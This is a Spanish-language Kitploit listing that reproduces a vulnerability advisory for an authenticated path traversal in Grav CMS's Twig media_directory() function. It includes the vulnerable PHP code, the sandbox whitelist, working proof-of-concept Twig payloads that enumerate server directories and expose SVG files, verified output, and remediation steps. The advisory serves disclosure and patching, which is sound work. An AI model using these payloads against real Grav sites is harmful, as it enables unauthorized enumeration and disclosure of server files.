Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-78851 — Aviso técnico que detalla una vulnerabilidad de path traversal autenticada en la función `media_directory()` de Twig en Grav CMS, que permite la enumeración arbitraria de directorios y la divulgación de rutas del sistema de archivos. | Kitploit
Herramientas/GitHubGitHub/slo-cyber-sec/cve-2026-78851
Análisis de VulnerabilidadesExplotaciónRecopilación de InformaciónSeguridad WebPruebas de Penetración
GitHubslo-cyber-sec/cve-2026-78851

CVE-2026-78851

Aviso técnico que detalla una vulnerabilidad de path traversal autenticada en la función `media_directory()` de Twig en Grav CMS, que permite la enumeración arbitraria de directorios y la divulgación de rutas del sistema de archivos.

Ver Repositorio
hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Grav: Traversal de Ruta Autenticado / Divulgación Arbitraria de Directorios mediante Twig media_directory()

Reportero

Nombre: CYBER-SEC
Contacto: [email protected]

Resumen

La función Twig media_directory() de Grav está expuesta dentro de la lista blanca del sandbox de Twig del contenido de páginas, pero no aplica correctamente la contención de rutas para entradas que no son streams.

Un usuario autenticado con privilegios de edición de páginas puede llamar a media_directory('/ruta/absoluta') o usar traversal relativo como media_directory('../../../../ruta') dentro del contenido de páginas habilitado para Twig. Grav entonces indexa archivos de tipo media desde directorios legibles por el usuario del servidor web.

Los objetos Medium devueltos exponen propiedades permitidas por el sandbox como y , lo que resulta en enumeración arbitraria de directorios y divulgación de rutas absolutas del sistema de archivos. Para archivos de imagen/SVG, la generación de URL o caché puede exponer archivos a través del manejo público de caché de Grav.

filepath
filename

Esta es una vulnerabilidad autenticada de divulgación de información. No se conoce que permita explotación no autenticada o ejecución remota directa de código.

Producto Afectado

Producto: Grav CMS de archivos planos
Repositorio: https://github.com/getgrav/grav
Versiones afectadas verificadas: 2.0.3, 2.0.4, 2.0.6
Componente: Twig media_directory() / sandbox de Twig del contenido de páginas de Grav

CWE

  • CWE-22: Limitación Inadecuada de un Nombre de Ruta a un Directorio Restringido ("Path Traversal")
  • CWE-200: Exposición de Información Sensible a un Actor No Autorizado

CVSS v3.1

Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Puntuación Base: 6.5 Media

Requisitos del Ataque

  • El atacante debe estar autenticado.
  • El atacante debe tener privilegios de edición de páginas.
  • El procesamiento de contenido Twig debe estar habilitado.
  • El directorio objetivo debe ser legible por el usuario del servidor web.

Detalles Técnicos

El punto vulnerable se encuentra en:

root@kitploit:~
system/src/Grav/Common/Twig/Extension/GravExtension.php

Lógica relevante:

root@kitploit:~
public function mediaDirFunc($media_dir)
{
    $locator = $this->grav['locator'];

    if ($locator->isStream($media_dir)) {
        $media_dir = $locator->findResource($media_dir);
    }

    if ($media_dir && file_exists($media_dir)) {
        return new Media($media_dir);
    }

    return null;
}

Solo las entradas stream:// se resuelven a través del localizador de Grav. Las rutas absolutas o relativas que no son streams se pasan textualmente a new Media($media_dir) sin validación canónica de realpath(), rechazo de traversal o contención a directorios aprobados controlados por Grav.

La función está expuesta a través de la lista blanca del sandbox de Twig del contenido de páginas:

root@kitploit:~
system/config/security.yaml
allowed_functions:
  - media_directory

El sandbox también permite métodos/propiedades de Medium como:

root@kitploit:~
filepath
filename
url
cache
resize

Esto permite que un editor de páginas autenticado divulgue nombres de archivo y rutas absolutas de directorios legibles arbitrarios. Para archivos de imagen/SVG, la generación de URL/caché pública puede exponer el contenido del archivo.

Prueba de Concepto

Con el procesamiento de contenido Twig habilitado, cree o edite una página de Grav e inserte:

root@kitploit:~
{% for name, m in media_directory('/var/www') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

Forma de traversal:

root@kitploit:~
{% for name, m in media_directory('../../../../app/www/public') %}
{{ name }} = {{ m.filepath }}
{% endfor %}

Ejemplo de exposición de imagen/SVG:

root@kitploit:~
{{ media_directory('/ruta/absoluta/a/privado')['secret.svg'].url }}

Cuando la página se guarda y se renderiza, Grav indexa archivos desde la ruta controlada por el atacante y expone nombres de archivo y rutas absolutas del sistema de archivos.

Comportamiento Verificado

Verificado contra Grav 2.0.6 usando la imagen Docker linuxserver/grav:latest.

Los resultados observados incluyeron:

root@kitploit:~
LICENSE.txt    => /app/www/public/LICENSE.txt
composer.json  => /app/www/public/composer.json
robots.txt     => /app/www/public/robots.txt
now.json       => /app/www/public/now.json

El traversal relativo también fue confirmado:

root@kitploit:~
../../../../app/www/public

La exposición de archivos SVG a través de .url también fue confirmada en un entorno de prueba local controlado.

Impacto

Un editor de páginas autenticado puede:

  • Enumerar archivos de tipo media en directorios arbitrarios legibles por el usuario del servidor web.
  • Divulgar rutas absolutas del sistema de archivos y nombres de archivo.
  • Mapear la estructura de la aplicación y el diseño del sistema de archivos del lado del servidor.
  • Identificar archivos sensibles, copias de seguridad, archivos de configuración, registros o artefactos de despliegue por nombre.
  • Potencialmente exponer archivos de imagen/SVG fuera del webroot previsto a través de la generación de caché o URL pública.

Esta vulnerabilidad es de clase divulgación y no debe reportarse como ejecución remota de código.

Remediación

Correcciones recomendadas:

  1. Eliminar media_directory de la lista blanca del sandbox de Twig del contenido de páginas.

o:

  1. Aplicar contención estricta de rutas canónicas a media_directory():
  • Resolver todas las rutas usando realpath().
  • Rechazar rutas que contengan secuencias de traversal.
  • Rechazar rutas que se resuelvan fuera de las raíces aprobadas controladas por Grav.
  • Permitir solo raíces seguras como user://pages, user://images u otros directorios de medios explícitamente aprobados.
  • Revalidar rutas antes de la indexación de archivos y antes de la generación de caché/URL.

Divulgación

Este problema fue reportado por CYBER-SEC.

Referencias

  • https://github.com/getgrav/grav
  • https://github.com/getgrav/grav/releases
  • https://getgrav.org/downloads
  • https://github.com/getgrav/grav/security/advisories
Descargar herramienta